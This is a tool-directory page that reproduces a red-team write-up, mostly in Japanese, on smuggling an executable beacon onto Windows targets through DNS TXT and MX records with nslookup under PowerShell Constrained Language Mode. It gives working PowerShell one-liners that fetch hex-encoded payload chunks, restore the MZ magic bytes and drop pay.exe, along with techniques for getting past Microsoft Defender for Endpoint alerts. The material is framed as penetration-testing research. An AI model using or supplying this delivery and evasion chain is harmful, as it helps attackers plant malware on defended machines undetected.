Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
DNS_Tunneling — PowerShellとNslookupを利用したDNSトンネリングツール。DNS TXT/MXレコードを介してデータを外部に送信し、ペイロードを配信することで、Constrained Language Modeとエンドポイント防御を回避します。 | Kitploit
ツール/GitHubGitHub/octoberfest7/dns_tunneling
ペイロード生成データ流出ペネトレーションテストコマンド&コントロールレッドチーミングDNS分析
GitHuboctoberfest7/dns_tunneling

DNS_Tunneling

PowerShellとNslookupを利用したDNSトンネリングツール。DNS TXT/MXレコードを介してデータを外部に送信し、ペイロードを配信することで、Constrained Language Modeとエンドポイント防御を回避します。

リポジトリを見る
232374年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Intro

Inspired by recent work I did involving Cobalt Strike DNS beacons, in conjunction with a mission statement to try and evade Microsoft Defender for Endpoint, I spent some time looking into how DNS might be used to transfer a payload to a target machine. I further wanted to challenge myself by trying to do so in a way that is possible even when powershell is in Constrained Language Mode. This research was targeted at more modern implementations of Windows (i.e. Win10+, Server 2019+) but as you see later it may be possible in lower versions.

Background

What is DNS Tunneling?

DNS tunneling is a technique that has been around for a long time and used by a variety of attackers. At a basic level it involves using the DNS protocol as a means for data infiltration/exfiltration or as a C2 communications channel. There are many blog posts you can reference for more information on this topic.

Because this is such a old and well known technique, many organizations have detection methods in place to try and prevent it.

The DNS record type of choice for DNS tunneling has historically been TXT. This is because TXT records can hold more data than other records and they are also case-sensitive, something that the other records are not which can have an impact when we start talking about encoding.

What is Constrained Language Mode?

Constrained Language Mode (CLM) is a restrictive language mode for Powershell which greatly reduces the capabilities and allowed functionality of Powershell. As a short list, .NET, COM objects, and attacker favorites like (new-object net.webclient).downloadstring... are unavailable. This link provides more information. Organizations will put this policy in force for normal users as part of attack surface reduction rules. It in effect just makes our lives harder as attackers.

What do DNS records look like?

Most should be at least cursorily familiar with DNS from use of tools like Nslookup. But at a basic level, the client sends a query and the DNS server returns an answer to that query. There are several different kinds of DNS records: CNAME, A, AAAA, TXT, MX, and NS just to name a few. Each of these records can store and return different information. These records are configured in a Zonefile, which is served by a DNS server.

An example zonefile is shown here:``` $ORIGIN example.com. @ 3600 SOA ns1.p30.dynect.net. ( zone-admin.dyndns.com. ; address of responsible party 2016072701 ; serial number 3600 ; refresh period 600 ; retry period 604800 ; expire time 1800 ) ; minimum ttl 86400 NS ns1.p30.dynect.net. 86400 NS ns2.p30.dynect.net. 86400 NS ns3.p30.dynect.net. 86400 NS ns4.p30.dynect.net. 3600 MX 10 mail.example.com. 3600 MX 20 vpn.example.com. 3600 MX 30 mail.example.com. 60 A 204.13.248.106 3600 TXT "v=spf1 includespf.dynect.net ~all" mail 14400 A 204.13.248.106 vpn 60 A 216.146.45.240 webapp 60 A 216.146.46.10 webapp 60 A 216.146.46.11 www 43200 CNAME example.com.

root@kitploit:~
example.comのNSレコードをクエリすると、ns1.p30.dynect.net、ns2.p30.dynect.net、ns3.p30.dynect.net、ns4.p30.dynect.netが返される。

# 研究

## ドメイン名登録

始める前に、DNSレコードを設定して、自分が制御しDNSサーバーを実行するIPを指定する方法について簡単に説明する必要がある。以下に示すように、ドメインを購入し、サブドメイン「dns」をパブリックIPが割り当てられた「ns1」サブドメインにポイントするDNSレコードを設定した。

![image](https://assets.kitploit.com/production/public/readmes/5529/bdffb5de5e760905bc821adefde45ca4dcba092639c16e201c7738aa0edda53f.png)

つまり、「dns.edu....com」に対するクエリはすべて、IP 3..86が割り当てられた「ns1.edu....com」に転送される。そのIP上にDNSサーバーをセットアップし、レコードを提供する。これは後で再び登場する。

## クライアントサイドツールの検索

私の探求は「powershell dns module」という単純なGoogle検索から始まり、[この](https://docs.microsoft.com/en-us/powershell/module/dnsclient/?view=windowsserver2022-ps)リンクが返された。特に興味深かったのはResolve-DnsNameコマンドだ。これは基本的に、有名なNslookup.exeバイナリのPowerShell実装であるように見える。特定のタイプのレコードを要求できることに注意:

![image](https://assets.kitploit.com/production/public/readmes/5529/c01a63bb351225d89be6f6f4b6636406f8c7891210b3e531f7dd71f2110fdea6.png)

さて、DNSクエリを実行し回答を取得できるPowerShellモジュールがある。Constrained Language Modeでも動作するだろうか?答えは「まあまあ」だ。

ここでわかるように、新しいPowerShellウィンドウを開き、Resolve-DnsNameを実行し、PowerShellをCLMに設定し(単純な::WriteLine呼び出しでテスト)、その後再度Resolve-DnsNameを実行すると、問題なく動作する:

![image](https://assets.kitploit.com/production/public/readmes/5529/195e1c1284b9826d9ef63482d2bffa9d1b9928c228f38bfab0d4c1be58327758.png)

しかし、新しいPowerShellウィンドウを開き、すぐにCLMに設定してからResolve-DnsNameを実行しようとすると失敗する:

![image](https://assets.kitploit.com/production/public/readmes/5529/ab5eb81e47ee1cdced01753af4e141fa9d074b67f1f5b0317938ef9365444867.png)

モジュールが事前にロードされていれば、CLMが適用された後でも実行できるが、CLMはまだロードされていないモジュールのロードを妨げるようだ。ユーザーに対してデフォルトでCLMが適用されているターゲット環境(また、特定のモジュールが事前にロードされているかどうか、DnsClientがその1つかどうかがわからない状態)を考慮すると、この時点でResolve-DnsNameをやめて、昔ながらのNslookup.exeに戻ることにした。

![image](https://assets.kitploit.com/production/public/readmes/5529/22e75abd325b04271ad418a00d9d84d53253901e93c3f2948dd827f8a121668f.png)

Nslookup.exeはITツールキットの定番であり、正当な目的で使用される非常に有名なバイナリである。アプリケーションホワイトリストが懸念される環境でも実行が許可される可能性は高い。

NslookupはResolve-DnsNameクエリとほぼ同じ情報を返すが、タイミングが来たら少し異なる方法で操作する必要がある。

## 実行ファイルをDNSレコードに変換する?

さて、被害者のコンピュータでDNSクエリを実行する手段は得た。ペイロードをNslookupが取得できる形式でどのように提供すればよいだろうか?

実行ファイルはもちろんバイナリファイルであり、人間が読めるものではない。その結果、データをDNSレコードに埋め込み、Nslookupのようなツールが回復できるものに変換する必要がある。利用可能なエンコードオプションは豊富にあるが、主な考慮事項は、被害者のマシンがネイティブのWindowsツールとCLMで利用可能な機能のみを使用してデコードできるものは何かということだ。Base64は明白でよく使われる答えである。

Base64を使用すると、実行ファイルを巨大な人間が読める文字列に変換し、それを複数のDNSレコードに分割してNslookupで回復できる。クライアント側では、有名なLOLBASのcertutil.exeを使用して、集約されたDNSレコードをBase64デコードしてバイナリ形式に戻すことができる。

これには、DNSレコードタイプについてもう少し説明する必要がある。各レコードタイプは特定の情報を特定の形式で保存する。たとえば、AレコードはIPV4アドレス(111.111.111.111)を保存して返す。AAAAレコードはIPV6アドレスを返し、MXレコードとNSレコードはドメイン名を返し、TXTレコードは255文字の文字列を返すことができる。前述のとおり、レコードの長さと大文字小文字の区別のため、TXTレコードは攻撃者にとって明らかな選択肢であり、必要なレコード数が少なく、Base64のようなエンコードと互換性がある。

これがどのように見えるか見てみよう。

Kali VM上で、実行ファイルを取得してBase64に変換する。-w 0スイッチを使用すると、すべての改行が削除され、Base64テキストの1行が残ることに注意:

![image](https://assets.kitploit.com/production/public/readmes/5529/2675c0b2f0cb7e0279b9bd39188922e2af8f97463433bd2ae37404ef97457e5e.png)

ファイルを見るとBase64が表示される:

![image](https://assets.kitploit.com/production/public/readmes/5529/b6a9296128ea5ae6568e66bf1a8507985ceb7cce710d43f8d76281886e5f2839.png)

ここで、このBase64エンコードされたファイルを、DNSサーバーが提供するDNS TXTレコードに変換する必要がある。

この過程で学んだいくつかのことを、先に進む前に簡単にまとめておく:

  **1.** 単一のDNSクエリに対して複数のレコードが返される場合、それらが「順序」通りに返される保証はない。これは私たちの目的にとって極めて重要であり、すべてのTXTレコードからファイルを再構築する必要があり、順序が狂っていると機能しない。

  **2.** 重複レコードはクエリに対して返されない。たとえば、ゾーンファイルに3つのTXTレコードがあり、そのうち2つが同じ情報を含んでいる場合、そのドメインのTXTレコードをクエリすると、一意のレコードのみが返されるため、2つのレコードしか返されない。順序の問題はさておき、たとえば「AAAAA」の大きなセクション(Base64エンコードされたペイロードに見られる)を複数のTXTレコードに埋め込む必要がある場合、ゾーンファイルに複数存在しても、「A」で埋められたTXTレコードのうち1つだけが返される。

これらの点を踏まえ、各DNSクエリに対して1つのTXTレコードのみが返されるようにする必要がある。そこでサブドメインの登場だ。「dns.edu...com」を「edu....com」のサブドメインとして登録したのと同様に、さらに下位のサブドメイン(例:1.dns.edu....com)に対してレコードを提供できる。すべてのTXTレコードを提供するために必要な数のサブドメインを作成できる。

Base64エンコードされたペイロードを見てみよう:

![image](https://assets.kitploit.com/production/public/readmes/5529/2afd7d53fc05fd78c30edc71db8379c76d0130f6eef0d08329499bfdeef0a554.png)

前述のとおり、各TXTレコードには255文字まで詰め込める。413,696/255を計算すると、切り上げて1,623になる。これは多数のTXTレコード(ひいては多数のサブドメイン)である。しかし、それは出発点に過ぎない。

Python3スクリプトを作成して、Base64エンコードされたペイロードを読み込み、ゾーンファイルを作成した:

![image](https://assets.kitploit.com/production/public/readmes/5529/38318c957ce0ad15e93350cb57eb4ac53e1a1822226e9dd7ea63332e46e22429.png)

このスクリプトは、Base64エンコードされたペイロード(comp.txt)を開き、「chunkstring」関数(Stack Overflowの投稿から拝借)を使用してファイルを255文字のチャンクに分割し、それらをTXTレコードとして作成する。ここでのIPは偽物/ランダムであり、不要であることに注意。

生成されたゾーンファイルを見ると、TXTレコードが表示される:

![image](https://assets.kitploit.com/production/public/readmes/5529/c0ff320fcd010bac47d7a9736d4bc0488591d15f89217943903ef6106d95991a.png)

各TXTレコードの左端にある番号に注意。これはサブドメインを示している。

ゾーンファイルが作成されたので、それをDNSサーバーにコピーして提供する必要がある。これには[CoreDNS](https://github.com/coredns/coredns)を使用した:

![image](https://assets.kitploit.com/production/public/readmes/5529/dd79c82b16d6fcf072532d04364788d9320a29f7734d15e3ca8aa4e331d15ca6.png)

これは、dns.edu....comに対するクエリをポート53で受け付けていることを示している。Corefileでは、前の手順で作成したゾーンファイルを指定してレコードを提供している。レコードが機能することを確認するために、1.dns.edu....comに属するTXTレコードに対してnslookupを実行する:

![image](https://assets.kitploit.com/production/public/readmes/5529/cad5b0ad8bfd105ab86b792377d8ce95abb3142d78045f1067e2ca8e59703348.png)

TXTレコードがある!

## 攻撃!

ここで、nslookupを...1623回実行する必要がある。理想的ではないが、今のところはこれでやる。このPowerShellワンライナーを使用して、各サブドメインに対してnslookupを実行し、TXTレコード($temp[5])のみを選択して、$resultsを構築していく。$resultsは./temp.txtに書き込まれ、最後にcertutilを使用してtemp.txtをcustombeacon.exeにデコードする。```powershell
$results="";for($num = 1; $num -le 1623 ; $num++){$temp = nslookup -type=TXT "$num.dns.edu....com" 2> $null;$temp = $temp[5].replace("`t","").replace("`"","");$results = $results + $temp};$results > ./temp.txt;certutil -decode ./temp.txt ./custombeacon.exe

コマンドを実行すると、CoreDNSサーバー上のすべてのDNSリクエストが表示されます:

image

また、クライアントではCertutilコマンドが成功したことが確認できます:

image

出力長は元のEXEと一致しており(実行もできます)、素晴らしい!

image

しかし、問題があります。評価ラボマシンのMDEダッシュボードを見てみましょう:

image

振り出しに戻る

ここには対処すべき5つのアラートがあります(上部の2つの「certutil.exeを使用して実行可能ファイルをデコードする不審な使用法」はテスト中に同じ攻撃チェーンを2回実行したことによる重複のため無視します)。

1. 不審なシステムネットワーク構成の探索 - これは 'Resolve-DnsName' コマンドレットの使用に関連しています(このテストは別の理由でNslookupに切り替える前に実行されました)。

image

2. DNS攻撃ツールまたはアクティビティ - これはTXTレコードを使用したデータの侵入に関連しています。

image

3. / 4. / 5. - certutil.exeを使用して実行可能ファイルをデコードする不審な使用法 / 悪意のあるコードを実行するために正規のバイナリを使用

image

1. 不審なシステムネットワーク構成の探索

これはNslookupに切り替えるので見送ります。それが引き続き問題になるかどうか見てみましょう。わかりませんが、この種のアラートは優先度が低く、非常にトリガーされやすい性質があるため、多くの組織で無視される可能性があるのではないかと推測しています。

2. DNS攻撃ツールまたはアクティビティ

このアラートも、ペイロードを密輸するためのTXTレコードの使用に関連しています。これはそれほど驚くことではありません。TXTレコードは長い間、この種の活動に好まれてきたからです。ここでの解決策は、代替レコードタイプを使用してみることのようです。これは、次のアラートで続く内容と併せて検討します。

3. / 4. / 5. certutil.exeを使用して実行可能ファイルをデコードする不審な使用法 / 悪意のあるコードを実行するために正規のバイナリを使用

certutilがペイロードをデコードしているとフラグが立てられたことも、それほど驚くことではありません。これは古くからあるトリックであり、まともな組織ならアラートを出すべきです。しかし、このアラートは興味深いことに具体的で、実行可能ファイルをデコードするために使用されたことを強調しています。これにより、ペイロードをBase64エンコードする前にマジックバイトをいじり、その後クライアント側でcertutilを使用してデコードした後に再度いじったらどうなるだろうかと考えました。ここでは示しませんが、これにより実際にこのアラートをバイパスでき、certutilを使用してBase64ペイロードをデコードし、マジックバイトをMZに戻してペイロードを実行可能にすることができました。すべてネイティブのPowerShell機能を使用しています。

人里離れた道

TXTレコードの代わりにMXレコードを使用してペイロードを密輸してみることにしました。このブログ記事 では、有効なDNS名の最大長は255文字であると述べられています。``` (63 letters).(63 letters).(63 letters).(62 letters)

root@kitploit:~
MXレコードはドメイン名を返すので、各オクテットにかなりのデータを詰め込めるはずです。いくつかのテストの後、各レコードを少し短くし、各オクテットに50文字、合計でMXレコードあたり200文字まで入れることにしました。

しかし、問題があります。DNSレコードに関しては、TXTレコードとSPF(TXTレコードの一種)のみが大文字と小文字を区別します。私たちのエンコード言語であるBase64は大文字と小文字を区別します。これを解明するまで数時間トラブルシューティングに費やしましたが、要するにBase64を使用する場合、MXレコードは使えません。なぜなら、Nslookupは常にレコードを小文字で返すため、エンコードが壊れてしまうからです。

私たちは、大文字小文字を区別しBase64と互換性のある別のレコードタイプを見つけるか、またはCLM内のWindows/PowerShellがネイティブにデコードできる別のエンコード言語を見つける必要があります。

いくつかの[調査](https://stackoverflow.com/questions/64925863/how-to-use-powershell-to-convert-hex-string-to-bin)の結果、PowerShellは.NETを使用せずに16進数をバイナリに変換できることがわかりました:```powershell
$hex = Get-Content -Path "C:\blah\exe-bank.txt" -Raw

# split the input string by 2-character sequences and prefix '0X' each 2-hex-digit string
# casting the result to [byte[]] then recognizes this hex format directly.
[byte[]]$bytes = ($hex -split '(.{2})' -ne '' -replace '^', '0X')
[System.IO.File]::WriteAllBytes("C:\blah\exe-bank.exe", $bytes)

前述のスクリプトを少し修正して([System.IO.File]... を $bytes | set-content.... に変更)、これを私たちの目的に使用できるはずです。

MXレコードには「優先度」の値もあります。これは、ドメインに対してどのMXサーバーを使用すべきかの優先順位を本質的に示しています。これは、以前のゾーンファイルの例で、MXレコードのドメイン名の前に「10 20 and 30」の値が付いていることから確認できます。この優先度の値を利用して、サブドメインごとに複数のMXレコードを含め、優先度の値でソートしてデータを適切な順序にすることで、TXTレコードでサブドメインごとに1つのレコードを取得した場合と比較して、Nslookupの呼び出し回数を大幅に削減できます。

image

上記のように、レコードは順不同で返されることがありますが、優先度の値を使用して並べ替えることができます。

これを実装するために、まず小さなPython3スクリプトを作成してペイロードを16進数に変換しました:

image

image

次に、元のPython3スクリプトを修正して、TXTレコードの代わりにMXレコードを含むゾーンファイルを作成しました:

image

主な違いは、今回200文字ずつチャンク化し、サブドメインあたり100個のMXレコードを割り当てていることです。これは変数 j で追跡され、j はMXレコードの優先度の値です。最初のレコードでは10から始まり、10ずつ増加して1000まで上がります。j が1010に達すると10にリセットされ、i が1つ増加します。ここで i は各MXレコードに指定されたサブドメインです。

このスクリプトは次のようなゾーンファイルを生成します(ゾーンファイルの末尾を示す):

image

ここには2つのサブドメイン(31.dns.edu....com と 32.dns.edu....com)と、それぞれの複数のレコードが表示されています。レコードは各MXの後に続く優先度の値(31.dns.edu....com: 960, 970, 980, 990, 1000 ; 32.dns.edu....com: 10, 20, 30)で区別できます。

この新しい形式に対応するために、PowerShellコマンドを大幅に修正する必要があります。以下にPowerShell ISEのスクリプトをコメント付きで示し、各ステップで何が行われているかを説明しますが、実際には次の手順を実行します:

-1. 各サブドメインに対して

--A Nslookupを実行

--B Nslookupから返された各MXレコードに対して

---a. データ部分だけを解析し、MX優先度の値でソートされた順序で配列に格納

--C 各データ文字列を累積的な $results 文字列に追加

image

次に、$results を取得して16進数をバイナリに戻し、ディスクに書き込む必要があります。ここで以前示したPowerShellを利用します。

1行にまとめると次のようになります:```powershell $results="";for($num = 1; $num -le 32; $num ++){$a = nslookup -type=MX "$num.dns.edu....com" 2> $null;$arr = New-Object string[] ($a.count - 3);for($i = 3; $i -le $a.count - 1; $i++){$a[$i] -match '= ?(.),' > $null;$temp = $matches[1];$a[$i] -match 'r = ?(.)' > $null;$arr[$temp/10 - 1] = $matches[1].replace(".dns.edu....com","").replace(".","");$matches = $null};Foreach($j in $arr){$results=$results + $j.replace("`n","")}};[byte[]]$bytes = ($results -split '(.{2})' -ne '' -replace '^', '0X');$bytes | set-content -encoding byte .\custombeacon.exe

root@kitploit:~
## 再挑戦

MDEのラボテストボックス上でPowerShellコマンドを実行して、何が起こるか見てみましょう(CLM内にいますが、表示されていません):

![image](https://assets.kitploit.com/production/public/readmes/5529/5c6c02f45ade0f86708c0266ab8697ae39cf4a2a451b80044bc320f79d4add1b.png)

ビーコンを実行中(バックエンドでDNSビーコンを使用するためのさらなる処理が行われています)

![image](https://assets.kitploit.com/production/public/readmes/5529/a72f193c75d9827d742100e0d35ebf19328b04d19ea1220204aabfbf5d976d8d.png)

「SuspiciousFileDrop」動作のアラートが1つ発生しましたが、「脅威は見つかりませんでした」と解決されました…さらに調査が必要です。しかし、TXTレコードやCertutilを使用して実行可能ファイルをデコードするアラートはすべて消えました。

![image](https://assets.kitploit.com/production/public/readmes/5529/3b8d333e03f641c57b3daaa1955c54597cd0826ad64f8f588ab4b2460b38510d.png)

## ほんの少し方向を変えて…

MDEは、PowerShellがペイロードをディスクに書き込んだことを好ましく思っていませんでした。理解できます。要するに、Nslookupが未知の実行可能ファイルをインターネットから取得し、ディスクに保存したからです。どうすればこれを軽減できるでしょうか?

私はペイロードのマジックバイトを再検討することにしました。私の作業仮説は、ペイロードのマジックバイトを例えば.txtファイルのものに変更してディスクに書き込み、その後そのファイルを新しい変数に読み込んでマジックバイトを元のMZ(実行可能ファイル)に戻して再度ディスクに書き戻すと、MDEを騙せるかもしれないというものでした。この場合、機能する実行可能ファイルがディスクに保存されるまでのI/O操作は、インターネットから取得したデータではなく、ディスク上に既に存在する.txtファイルから始まるからです。

試してみましょう。

攻撃ボックス上でVIMを使用して実行可能ファイルを開くことができます。最初の2バイトにあるMZヘッダーに注目してください。これにより実行可能ファイルであることが示されます:

![image](https://assets.kitploit.com/production/public/readmes/5529/d653911c1bbdd30be5f4fb00983067b708173367aa41ceee6a80efd7f85d9164.png)

:%!xxd と入力することで、ファイルを16進形式で編集できます:

![image](https://assets.kitploit.com/production/public/readmes/5529/827b8179f80a7701ea7093e41343278d842c15bfdcee91395dab33d0f5356375.png)

最初の2バイトを FF FE に変更します(UTF-16LE バイトオーダーマーク。テキストファイルでよく見られます。出典:https://en.wikipedia.org/wiki/List_of_file_signatures):

![image](https://assets.kitploit.com/production/public/readmes/5529/93f32e87c51d2f1f9cda2bc6d0f38e7d46e0da06359d904a7172b94573c97fed.png)

ここで、:%!xxd -r と入力して16進エディタを閉じる必要があります。これにより、マジックバイトが確かに置き換えられたことが表示されます:

![image](https://assets.kitploit.com/production/public/readmes/5529/6ccbc576cc43630b7f0dd6c39d4af7b7b281fdd2f9d140e987fb727df25eecef.png)

その後、VIMを保存して終了します。

再度ペイロードを16進数に変換し、python3スクリプトを使用して変更したペイロードをMXレコードに配置します。これらのMXレコードはDNSサーバーで提供できます。

クライアント側では、マジックバイトを修正して実行可能ファイルを再び機能させるために、PowerShellコマンドを変更する必要があります。前述のとおり、MDEのSuspiciousFileDropアラートを回避するために、まず「txt」ファイルをディスクに書き込み、次にget-contentを使用してメモリに読み戻します。関連する変更と追加部分は以下のPowerShellコマンドです:```powershell
$bytes | set-content -encoding byte .\out.txt;[byte[]]$readfile = get-content .\out.txt -encoding byte -raw;$readfile[0x00] = 0x4D;$readfile[0x01] = 0x5A;$readfile | set-content .\new.exe -encoding byte

このコマンドでは、まずダウンロードしたペイロード(.txtマジックバイト付き)をout.txtとしてディスクに書き込み、その後バイト配列$readfileに読み込み、最初の2バイトをそれぞれ0x4Dと0x5Aに設定してペイロードのMZヘッダを復元します。次に$readfileをset-contentにパイプして、機能するペイロードをnew.exeとしてディスクに書き込みます。

MDE VMで試してみましょう(コマンドは少し異なって見えますが、次のセクションで対応します):

image

ダッシュボードは?

image

成功!

では、MDEは実際に何を見ているのか?

DNSリクエストとConstrained Language Modeで利用可能なPowerShellコマンドを使用して、ペイロードを正常にダウンロードし、機能する形式に復元しました。MDEは何も警告しませんでしたが、MDEは実際に何を見ているのでしょうか?答えは「全て」です。

テストマシンのイベントタイムラインを見てみましょう。PowerShellに関連するイベントでフィルタリングします:

image

この画像では、PowerShellが行ったいくつかのnslookup.exe呼び出しが見え、それぞれが「T1016: System Network Configuration Discovery」イベントを引き起こしています。さらに、「powershell.exe dropped a packed file new.exe」という表示もあり、これはマジックバイトが変更された後に、機能する実行ファイルがディスクに書き戻されたことを示しています。これはいくつかのイベントIDをトリガーし、特に「T1027.002: Software Packing」が注目されます。

これらのイベントをフィルタリングすることで、各イベントがどれほど一般的か、また私たちの行動が通常のコンピュータ操作のノイズに溶け込む可能性がどれほどかを確認できます。

T1016を見てみましょう:

image

私たちのnslookupすべてが見えますが、WaAppAgent.exeやWindowsAzureGuestAgent.exeといったプロセスによって生成された他のイベントも見えます。これらはipconfig.exeやarp.exeなどを実行していました。つまり、複数の異なる実行ファイルがT1016: System Network Configuration Discoveryをトリガーする可能性があり、これは私たちがレーダーをかいくぐろうとする場合に有利です。

T1027を見てみましょう:

image

ここでのニュースはあまり良くありません。T1027.002: File Packingの唯一のイベントは、私たちのpowershell.exeがペイロードをディスクにドロップしたことです。なぜこのイベントが発生するのか完全にはわかりませんが、DNS浸透手法とは関係なく、実行ファイルをディスクに書き込むことに関係していると思います。いずれにせよ、実際のアラートは生成されず、単に記録されたイベントです。

記録されたイベントはどれほど多く、通常のコンピュータ機能はどの程度適切に分類されているのでしょうか?答えは「大量」と「あまり適切ではない」です。PowerShellイベントを探してスクロールしていると、これに出くわしました:

image

それは確かに怪しげに見えます...何が起こっているのでしょうか?

image

ああ。ただのWindows Defender ATPがPowerShellコマンドを実行しているだけです。

MDEによって記録されるイベントの数は驚異的です。実際のアラートに引っかからない限り、防御側に探す理由を与えない限り、記録された行動がアクティブな捜査中に発見されることについてはあまり心配していません。

磨きをかける

動作するPOCはできましたが、今度は製品を洗練させる時です。ここで3つの大きな目標がありました:

  1. 自動化

  2. 信頼性

  3. 効率性

自動化

まず、実行ファイルを16進数に変換し、ゾーンファイルを作成するPythonスクリプトを結合することから始めました。次に、ゾーンファイルを生成するドメイン名への静的参照をすべて削除し、これらはコマンドライン引数で渡されるようにしました。3つ目に、ペイロードのコピーを作成し、マジックバイトを変更する機能を追加しました。この変更されたコピーがゾーンファイル内のMXレコードになり、VIMの必要性を排除しました。最後に、Pythonスクリプトは、正しい反復回数(ペイロードの長さに依存)でnslookupを実行するPowerShellワンライナーと、nslookupを実行するドメインを出力します。このPythonスクリプトは「createzonefile.py」としてアップロードされています。

image

信頼性

攻撃の信頼性を高めるため、PythonスクリプトがMXレコードを作成する方法に時間を費やしました。主要な問題点は最後のMXレコードでした。これはペイロードの残りを含み、他のすべてのレコードは200文字で埋められます。このレコードに残るデータ量に応じて、1つ、2つ、3つ、または4つのオクテットが部分的または完全に埋まる可能性があります。以前のシンプルなPythonスクリプトで、最後のMXレコードが4オクテット未満を使用している場合(例えば、レコードが"0000000000000000000000.000000.."のようになる)、末尾に「.」が多すぎるとnslookupがレコードを取得しないことがわかりました。ペイロードのサイズや最後のMXレコードのデータ量に関係なく、適切にフォーマットされ、期待通りに機能するように新しいロジックを実装しテストしました。

Pythonスクリプト内にPowerShellワンライナーを実装することも、信頼性へのもう一つのステップです。これにより、ゾーンファイルで指定されたものと同じドメイン名と、正しいnslookupの反復回数が提供されることが保証されます。

効率性

この最後のポイントは主にPowerShellワンライナーに関するものです。ターゲットマシンで手入力する必要がある場合に備えて、コマンドの長さをできるだけ短縮しようとしました。マジックバイトを置き換える追加スクリプトを考慮する前で、約30%短縮できました。

これらの節約はいくつかの点から得られています:

  1. 変数を短縮。$resultsは$oに、$numは$aになります。
  2. エイリアス。Select-substringはslsに、Set-contentはscになります。
  3. 可能な場合は短縮パラメータを使用。select-substringの-Allmatchesパラメータは、aで始まる他のパラメータがないため、-aと省略できます。
  4. 正規表現、ループロジック、配列の初期化を改善。1文字が重要です!

image

まだまだできることはあると思いますが、私はPowerShellにあまり熟練していません。

MZマジックバイトを復元し、一時的な.txtファイルを削除する、改良された最終的なPowerShellワンライナーは次のとおりです:```powershell $o="";for($a = 1; $a -le <NUMBER_OF_SUBDOMAINS>; $a ++){$b = nslookup -type=MX "$a.<YOUR_DOMAIN_HERE>" 2> $null;$c = @($null)*($b.count - 3);for($i = 3; $i -le $b.count - 1; $i++){$d = ($b[$i] | sls -patt '(?<==\s)((\d|\w){1,50}.?){1,4}' -a).matches.Value;$c[$d[0]/10 - 1] = $d[1].replace(".","")};$c.foreach({$o = $o + $_})};[byte[]]$e = ($o -split '(.{2})' -ne '' -replace '^', '0X');$f = ".\a.txt";$e | sc -en byte $f;[byte[]]$g = gc $f -en byte -raw;$g[0x00] = 0x4D;$g[0x01] = 0x5A;$g | sc .\pay.exe -enc byte;ri $f

root@kitploit:~
# 終わりに

DNSを使用してペイロードを侵入させることは、HTTP/Sやその他の従来の方法が有効でない高度に制限された環境では魅力的な選択肢となり得ます。そのような環境では、次のハードルは実際にペイロードを実行することでしょう。Application Whitelistingを回避することは、今後私が時間をかけて深掘りするであろうトピックです。

最後までお付き合いいただいた皆様に感謝します。このトピックを探求し開発する中で忙しい数日間でしたが、私自身も多くのことを学びました。皆様も同様に学んでいただけたことを願っています。
ツールをダウンロード